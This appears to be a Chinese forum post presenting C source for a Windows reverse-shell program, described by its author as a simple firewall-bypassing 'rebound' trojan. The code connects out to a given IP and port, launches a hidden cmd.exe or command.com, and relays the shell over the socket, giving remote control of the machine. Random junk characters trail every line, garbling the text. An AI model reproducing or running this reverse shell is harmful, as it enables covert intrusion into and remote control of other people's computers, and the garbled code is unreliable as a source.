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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ict+|<f  
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/* ============================== 4%7Oaf>9  
Rebound port in Windows NT 8# IEE|1  
By wind,2006/7 m5 l&  
===============================*/ 3v3`d+;&  
#include w:2yFC  
#include ]W7&ZpF  
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#pragma comment(lib,"wsock32.lib") at(gem  
(I;lE*>  
void OutputShell(); gB0Q0d3\G,  
SOCKET sClient; M7ug < 8i  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [ZD`t,x(  
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void main(int argc,char **argv) 4F+G;'JV  
{ i}@5<&J  
WSADATA stWsaData; =Ds&ArG  
int nRet; ~zDFL15w  
SOCKADDR_IN stSaiClient,stSaiServer; v1$ }JX   
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if(argc != 3) LG'1^W{a  
{ :|Bzbn=N2  
printf("Useage:\n\rRebound DestIP DestPort\n"); t![972.&  
return; qot {#tk d  
} w[J.?v&^  
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WSAStartup(MAKEWORD(2,2),&stWsaData); <Ys7`e6eY  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :fQN_*B4@4  
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stSaiClient.sin_family = AF_INET; 4|NcWpaV7  
stSaiClient.sin_port = htons(0); 0$|wj^?U  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Pz-=Eq  
#!4`t]E<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Mm%b8#Fe!  
{ =6B I[_0  
printf("Bind Socket Failed!\n"); hroRDD   
return; a]4|XJ_  
} j2jUrl  
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stSaiServer.sin_family = AF_INET; MJ.Kor  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :KsBJ>2ck  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n;k B_i*l  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;h#CT#R2  
{ Q#Xa]A-  
printf("Connect Error!"); &sGLm~m#  
return; Zk0?=f?j  
} ?{>5IjL)en  
OutputShell(); \?AA:U*  
} EiWd =jDm  
v[>8<z8  
void OutputShell() %Z(lTvqG  
{ !De U8.%  
char szBuff[1024]; @4jPaqa(  
SECURITY_ATTRIBUTES stSecurityAttributes;  #uuNH(  
OSVERSIONINFO stOsversionInfo; #}xPOz7:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rH[Eh8j,  
STARTUPINFO stStartupInfo; -3C$br  
char *szShell; F-Ywl)  
PROCESS_INFORMATION stProcessInformation; ~PCS_  
unsigned long lBytesRead; T7Yg^ -"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); s=n_(}{ q  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x2+M0 }g  
stSecurityAttributes.lpSecurityDescriptor = 0; _2WIi/6K  
stSecurityAttributes.bInheritHandle = TRUE; M:w]g`LKl  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T\L LOx\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); e{d$OzT) V  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ni3A+Y0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dNz!2mbO  
stStartupInfo.wShowWindow = SW_HIDE; |R(rb-v  
stStartupInfo.hStdInput = hReadPipe; 92L{be; SY  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \fL:Ie  
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GetVersionEx(&stOsversionInfo); 5va ;Ol4  
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switch(stOsversionInfo.dwPlatformId) el,n5O Z7  
{ [ ]=}0l<J  
case 1: U &y?3  
szShell = "command.com"; 8wA'a'V.  
break; fh e%5#3  
default: 2graLJ?9Z  
szShell = "cmd.exe"; 9_pOV%Qs  
break; +6 x:+9S  
} ^os|yRzV*M  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +IfU 5&5<  
~kPZh1n`  
send(sClient,szMsg,77,0); jVdB- y/r  
while(1) u1 (8a%ZC  
{ BmFs6{>~c  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n\H.NL)  
if(lBytesRead) 7 *HBb-  
{ D i #Em[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o<%s\n  
send(sClient,szBuff,lBytesRead,0); sxQMfbN  
} z=VL|Du1OT  
else h:'wtn@l(  
{ o^~KAB7  
lBytesRead=recv(sClient,szBuff,1024,0); u< .N\/  
if(lBytesRead<=0) break; X3rvM8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O.+X,CQG*  
} 04R-}  
} C?%Oi:Gi&  
>zB0+l  
return; j0[9Cj^%c  
}
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